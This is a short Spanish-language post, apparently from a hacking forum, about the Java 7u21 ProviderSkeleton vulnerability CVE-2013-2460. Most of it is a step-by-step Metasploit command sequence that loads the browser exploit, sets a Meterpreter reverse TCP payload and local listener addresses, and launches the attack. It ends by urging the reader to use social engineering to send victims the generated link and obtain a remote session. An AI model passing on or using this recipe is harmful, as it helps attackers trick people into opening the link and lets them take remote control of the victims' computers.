Vulnerabilidad Java: CVE-2013-2460

CVE-2013-2460 Java Applet ProviderSkeleton Insecure Invoke Method

Este módulo de Metasploit abusa el método inseguro invoke() de la clase de ProviderSkeleton que permite para llamar a métodos estáticos arbitrarios con argumentos de usuario. La vulnerabilidad afecta a la versión Java 7u21 y versiones anteriores.


Explotando la vulnerabilidad con Metasploit.

// Utilizamos el Exploit // msf > use exploit/multi/browser/java_jre17_provider_skeleton // Seleccionamos el Payload // msf exploit(java_jre17_provider_skeleton) > set PAYLOAD java/meterpreter/reverse_tcp msf exploit(java_jre17_provider_skeleton) > set LHOST [IP Local] msf exploit(java_jre17_provider_skeleton) > set srvhost [IP Local] msf exploit(java_jre17_provider_skeleton) > set uripath / msf exploit(java_jre17_provider_skeleton) > exploit

Solo quedaría utilizar Ingeniería Social y enviar la dirección generada por Metasploit para obtener nuestra sesión de Meterpreter ;);)


Source - Underc0de